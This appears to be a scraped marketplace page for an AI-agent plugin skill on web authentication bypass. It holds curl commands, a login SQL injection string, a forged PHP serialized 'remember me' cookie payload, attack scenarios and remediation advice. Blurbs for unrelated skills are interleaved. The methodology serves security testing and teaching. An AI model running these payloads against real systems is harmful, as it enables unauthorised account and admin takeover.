From meta
Bypass authentication via forced browsing to protected URLs, parameter tampering (authenticated=yes, debug=true, fromtrustIP=true), session ID prediction from linear/incremental cookies, SQL injection on login forms, PHP unserialize() boolean type juggling (b:1 payload), and credential transport over HTTP. Detectable with Burp Suite, OWASP ZAP, WebGoat.
npx claudepluginhub securityfortech/hacking-skills --plugin metaThis skill uses the workspace's default tool permissions.
Authentication logic applied only at the login page leaves all downstream pages unprotected.
Guides Next.js Cache Components and Partial Prerendering (PPR) with cacheComponents enabled. Implements 'use cache', cacheLife(), cacheTag(), revalidateTag(), static/dynamic optimization, and cache debugging.
Guides building MCP servers enabling LLMs to interact with external services via tools. Covers best practices, TypeScript/Node (MCP SDK), Python (FastMCP).
Generates original PNG/PDF visual art via design philosophy manifestos for posters, graphics, and static designs on user request.
Authentication logic applied only at the login page leaves all downstream pages unprotected.
Applications relying on client-supplied flags (authenticated, role, admin) to gate access
allow trivial bypass by modifying those values. Predictable session tokens enable forging.
Insecure deserialization in cookie handling allows boolean type juggling to short-circuit
credential verification. Credentials transmitted over HTTP expose them to passive interception.
Browser caching of authenticated responses allows offline credential harvesting from shared machines.
/dashboard, /admin, /profile returns 200authenticated=, isAdmin=, role=, debug=, fromtrustIP= in GET/POST/cookies' OR '1'='1 or similar SQL payloadsa:2:{s:11:"autologinid";...})http:// instead of https://Secure flag on session cookiesCache-Control: no-store on pages containing sensitive dataSet-Cookie not issuing new token after successful authentication (session fixation overlap)authenticated=yes, admin=true, debug=true, fromtrustIP=true).https:// with http:// for login, registration, and password
flows; observe if credentials submit over plain HTTP.# Forced browsing — direct access to protected page
curl -s http://TARGET/admin/dashboard -o /dev/null -w "%{http_code}"
# Parameter tampering via GET
curl "http://TARGET/home?authenticated=yes&admin=true"
# SQL injection on login form
# Username field: ' OR '1'='1'--
# Password field: anything
curl -X POST http://TARGET/login \
-d "user=' OR '1'='1'--&pass=x"
# PHP unserialize boolean bypass cookie
# Original: a:2:{s:11:"autologinid";s:32:"<hash>";s:6:"userid";s:1:"2";}
# Bypass: a:2:{s:11:"autologinid";b:1;s:6:"userid";s:1:"2";}
# Encode to base64 and set as cookie value
python3 -c "
import base64
payload = b'a:2:{s:11:\"autologinid\";b:1;s:6:\"userid\";s:1:\"2\";}'
print(base64.b64encode(payload).decode())
"
# Check if login submits over HTTP
curl -v -X POST http://TARGET/login \
-d "user=admin&pass=PASSWORD" 2>&1 | grep -E "< HTTP|Location:|Set-Cookie"
# Verify Secure flag on session cookie
curl -I https://TARGET/login | grep -i "set-cookie"
# Check cache headers on sensitive pages
curl -I https://TARGET/account/profile | grep -iE "cache-control|pragma|expires"
Cache-Control: private does NOT prevent local browser caching; only no-store does.$_GET['authenticated'] but not $_POST['authenticated'] may be
bypassed by moving the parameter to the query string."0e123" == "0e456" evaluates true; password hash comparison bypasses
possible if hash begins with 0e.Scenario 1 — Forced Browse to Admin Panel
Setup: Application checks auth only at /login; /admin/ has no server-side session check.
Trigger: Unauthenticated GET to http://TARGET/admin/users.
Impact: Full administrative interface accessible without credentials.
Scenario 2 — PHP Unserialize Boolean Bypass
Setup: Application stores serialized PHP array in cookie for "remember me" functionality.
Trigger: Replace password hash field with b:1 (boolean true); server evaluates true == hash
as true due to loose comparison.
Impact: Login as any known user ID without knowing their password.
Scenario 3 — Credential Interception via HTTP
Setup: Login page loads over HTTPS but form POSTs to http://TARGET/authenticate.
Trigger: Passive network capture on shared network (coffee shop, corporate proxy).
Impact: Plaintext username and password captured; full account takeover.
Secure and HttpOnly flags on all session cookies.===) to prevent type juggling in authentication checks.Cache-Control: no-cache, no-store and Pragma: no-cache on all authenticated responses.[[default-credentials]] is the first thing to try once a login form is found — auth bypass and default creds are two paths to the same goal. [[password-reset-flaws]] represents another common bypass vector: a weak reset flow can grant access without ever attacking the login form directly. If a SQL injectable login is found, [[sql-injection]] contains the full methodology for exploiting it. When a session cookie is obtained, validate its security posture using [[cookie-attacks]].